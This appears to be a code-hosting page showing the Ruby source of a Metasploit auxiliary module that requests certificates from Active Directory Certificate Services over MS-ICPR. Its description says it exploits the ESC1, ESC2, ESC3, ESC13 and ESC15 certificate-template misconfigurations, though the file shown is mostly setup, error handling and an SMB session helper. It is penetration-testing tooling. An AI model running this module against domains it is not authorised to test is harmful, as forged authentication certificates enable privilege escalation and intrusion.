Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/dcerpc/icpr_cert.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'ruby_smb/dcerpc/client'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::MsIcpr9include Msf::Exploit::Remote::SMB::Client::Authenticated10include Msf::Exploit::Remote::DCERPC11include Msf::Auxiliary::Report12include Msf::OptionalSession::SMB1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'ICPR Certificate Management',19'Description' => %q{20Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate21template's configuration the resulting certificate can be used for various operations such as authentication.22PFX certificate files that are saved are encrypted with a blank password.2324This module is capable of exploiting ESC1, ESC2, ESC3, ESC13 and ESC15.25},26'License' => MSF_LICENSE,27'Author' => [28'Will Schroeder', # original idea/research29'Lee Christensen', # original idea/research30'Oliver Lyak', # certipy implementation31'Spencer McIntyre'32],33'References' => [34[ 'URL', 'https://github.com/GhostPack/Certify' ],35[ 'URL', 'https://github.com/ly4k/Certipy' ]36],37'Notes' => {38'Reliability' => [],39'Stability' => [],40'SideEffects' => [ IOC_IN_LOGS ],41'AKA' => [ 'Certifry', 'Certipy' ]42},43'Actions' => [44[ 'REQUEST_CERT', { 'Description' => 'Request a certificate' } ]45],46'DefaultAction' => 'REQUEST_CERT'47)48)49end5051def run52send("action_#{action.name.downcase}")53rescue MsIcprConnectionError => e54fail_with(Failure::Unreachable, e.message)55rescue MsIcprAuthenticationError => e56fail_with(Failure::NoAccess, e.message)57rescue MsIcprNotFoundError => e58fail_with(Failure::NotFound, e.message)59rescue MsIcprUnexpectedReplyError => e60fail_with(Failure::UnexpectedReply, e.message)61rescue MsIcprUnknownError => e62fail_with(Failure::Unknown, e.message)63end6465def action_request_cert66with_ipc_tree do |opts|67request_certificate(opts)68end69end7071# @yieldparam options [Hash] If a SMB session is present, a hash with the IPC tree present. Empty hash otherwise.72# @return [void]73def with_ipc_tree74opts = {}75if session76print_status("Using existing session #{session.sid}")77client = session.client78self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client)79opts[:tree] = simple.client.tree_connect("\\\\#{client.dispatcher.tcp_socket.peerhost}\\IPC$")80end8182yield opts83ensure84opts[:tree].disconnect! if opts[:tree]85end86end878889